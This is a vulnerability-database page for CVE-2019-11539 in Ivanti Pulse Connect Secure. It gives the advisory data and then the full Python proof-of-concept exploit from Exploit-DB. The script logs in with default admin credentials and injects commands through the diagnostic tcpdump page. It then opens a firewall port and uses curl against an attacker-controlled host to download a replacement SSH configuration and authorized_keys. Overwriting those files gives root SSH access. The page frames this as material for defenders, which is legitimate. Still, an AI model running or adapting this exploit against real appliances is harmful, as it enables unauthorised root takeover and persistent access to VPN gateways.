CVE-2019-11539

unknown KEV
Published 2021-11-03 ยท Modified 2021-11-03
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
2.5

Description

Ivanti Pulse Connect Secure and Policy Secure allows an authenticated attacker from the admin web interface to inject and execute commands.

CISA KEV

Vendor
Ivanti
Product
Pulse Connect Secure and Pulse Policy Secure
Due date
2022-05-03

Predictions

Exploit likelihood
99%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-47700 remote multiple verified
Metasploit ยท 2019-11-20

Pulse Secure VPN - Arbitrary Command Execution (Metasploit)

Source code queued for fetch โ€” refresh in a moment.
EDB-47354 remote multiple python ยท 7 KB
Justin Wagner ยท 2019-09-06

Pulse Secure 8.1R15.1/8.2/8.3/9.0 SSL VPN - Remote Code Execution

python exploit Source: Exploit-DB
#!/usr/bin/python
#
# Exploit Title: Pulse Secure Post-Auth Remote Code Execution
# Google Dork: inurl:/dana-na/ filetype:cgi
# Date: 09/05/2019
# Exploit Author: Justin Wagner (0xDezzy), Alyssa Herrera (@Alyssa_Herrera_)
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: linux
# CVE : CVE-2019-11539
#
# Initial Discovery: Orange Tsai (@orange_8361), Meh Chang (@mehqq_)
#
# Exploits CVE-2019-11539 to run commands on the Pulse Secure Connect VPN
# Downloads Modified SSH configuration and authorized_keys file to allow SSH as root.
# You will need your own configuration and authorized_keys files.
#
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2019-11539
# Reference: https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
#
# Please Note, Alyssa or myself are not responsible with what is done with this code. Please use this at your own discretion and with proper authrization.
# We will not bail you out of jail, go to court, etc if you get caught using this maliciously. Be smart and remember, hugs are free.
#
# Imports
import requests
import urllib
from bs4 import BeautifulSoup

# Host information
host = '' # Host to exploit
login_url = '/dana-na/auth/url_admin/login.cgi' # Login page
CMDInjectURL = '/dana-admin/diag/diag.cgi' # Overwrites the Template when using tcpdump
CommandExecURL = '/dana-na/auth/setcookie.cgi' # Executes the code

# Login Credentials
user = 'admin' # Default Username
password = 'password' # Default Password

# Necessary for Curl
downloadHost = '' # IP or FQDN for host running webserver
port = '' # Port where web service is running. Needs to be a string, hence the quotes.

# Proxy Configuration
# Uncomment if you need to use a proxy or for debugging requests
proxies = {
    # 'http': 'http://127.0.0.1:8080',
    # 'https': 'http://127.0.0.1:8080',
}

# Headers for requests
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'en-US,en;q=0.5',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded',
}

# Cookies to send with request
cookies = {
    'lastRealm':'Admin%20Users',
    'DSSIGNIN':'url_admin',
    'DSSignInURL':'/admin/',
    'DSPERSISTMSG':'',
}

# Data for post request
loginData = {
    'tz_offset': 0,
    'username': user,
    'password': password,
    'realm': 'Admin Users',
    'btnSubmit': 'Sign In',
}

s = requests.Session() # Sets up the session
s.proxies = proxies # Sets up the proxies

# Disable Warnings from requests library
requests.packages.urllib3.disable_warnings()

# Administrator Login logic
# Probably wouldn't have figured this out without help from @buffaloverflow
def adminLogin():
    global xsAuth
    global _headers

    # Send the intial request
    r = requests.get('https://%s/dana-na/auth/url_admin/welcome.cgi' % host, cookies=cookies, headers=headers, verify=False, proxies=proxies)

    print('[#] Logging in...') # Self Explanatory
    r = s.post('https://' + host + login_url, data=loginData,verify=False, proxies=proxies, allow_redirects=False) # sends login post request
    print('[#] Sent Login Request...')

    # Login Logic
    if r.status_code == 302 and 'welcome.cgi' in r.headers.get("location",""):
        referer = 'https://%s%s' %(host, r.headers["location"]) # Gets the referer
        r = s.get(referer, verify=False) # Sends a get request
        soup = BeautifulSoup(r.text, 'html.parser') # Sets up HTML Parser
        FormDataStr = soup.find('input', {'id':'DSIDFormDataStr'})["value"] # Gets DSIDFormDataStr
        print('[#] Grabbing xsauth...')
        xsAuth = soup.find('input', {'name':'xsauth'})["value"] # Gets the cross site auth token
        print('[!] Got xsauth: ' + xsAuth) # Self Explanatory
        data = {'btnContinue':'Continue the session', 'FormDataStr':FormDataStr, 'xsauth':xsAuth} # Submits the continue session page
        _headers = headers # Sets the headers
        _headers.update({'referer':referer}) # Updates the headers
        r = s.post('https://%s' %(host + login_url), data=data, headers=_headers, verify=False, proxies=proxies) #Sends a new post request

    print('[+] Logged in!') # Self Explanatory

# Command injection logic
def cmdInject(command):
    r = s.get('https://' + host + CMDInjectURL, verify=False, proxies=proxies)
    if r.status_code == 200:
        soup = BeautifulSoup(r.text, 'html.parser') # Sets up HTML Parser
        xsAuth = soup.find('input', {'name':'xsauth'})["value"] # Gets the cross site auth token
        payload = {
            'a':'td',
            'chkInternal':'On',
            'optIFInternal':'int0',
            'pmisc':'on',
            'filter':'',
            'options':'-r$x="%s",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <' %command,
            'toggle':'Start+Sniffing',
            'xsauth':xsAuth
        }
        # Takes the generated URL specific to the command then encodes it in hex for the DSLaunchURL cookie
        DSLaunchURL_cookie = {'DSLaunchURL':(CMDInjectURL+'?a=td&chkInternal=on&optIFInternal=int0&pmisc=on&filter=&options=-r%24x%3D%22'+urllib.quote_plus(command)+'%22%2Csystem%24x%23+2%3E%2Fdata%2Fruntime%2Ftmp%2Ftt%2Fsetcookie.thtml.ttc+%3C&toggle=Start+Sniffing&xsauth='+xsAuth).encode("hex")}
        # print('[+] Sending Command injection: %s' %command) # Self Explanatory. Useful for seeing what commands are run
        # Sends the get request to overwrite the template
        r = s.get('https://' + host + CMDInjectURL+'?a=td&chkInternal=on&optIFInternal=int0&pmisc=on&filter=&options=-r%24x%3D%22'+command+'%22%2Csystem%24x%23+2%3E%2Fdata%2Fruntime%2Ftmp%2Ftt%2Fsetcookie.thtml.ttc+%3C&toggle=Start+Sniffing&xsauth='+xsAuth, cookies=DSLaunchURL_cookie, verify=False, proxies=proxies)
        # Sends the get request to execute the code
        r = s.get('https://' + host + CommandExecURL, verify=False)

# Main logic
if __name__ == '__main__':
    adminLogin()
    try:
        print('[!] Starting Exploit')
        print('[*] Opening Firewall port...')
        cmdInject('iptables -A INPUT -p tcp --dport 6667 -j ACCEPT') # Opens SSH port
        print('[*] Downloading Necessary Files....')
        cmdInject('/home/bin/curl '+downloadHost+':'+port+'/cloud_sshd_config -o /tmp/cloud_sshd_config') # download cloud_sshd_config
        cmdInject('/home/bin/curl '+downloadHost+':'+port+'/authorized_keys -o /tmp/authorized_keys') # download authorized_keys
        print('[*] Backing up Files...')
        cmdInject('cp /etc/cloud_sshd_config /etc/cloud_sshd_config.bak') # backup cloud_sshd_config
        cmdInject('cp /.ssh/authorized_keys /.ssh/authorized_keys.bak') # backp authorized_keys
        print('[*] Overwriting Old Files...')
        cmdInject('cp /tmp/cloud_sshd_config /etc/cloud_sshd_config') # overwrite cloud_sshd_config
        cmdInject('cp /tmp/authorized_keys /.ssh/authorized_keys') # overwrite authorized_keys
        print('[*] Restarting SSHD...')
        cmdInject('kill -SIGHUP $(pgrep -f "sshd-ive")') # Restart sshd via a SIGHUP
        print('[!] Done Exploiting the system.')
        print('[!] Please use the following command:')
        print('[!] ssh -p6667 root@%s') %(host)
    except Exception as e:
        raise

Metasploit modules

Pulse Secure VPN Arbitrary Command Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.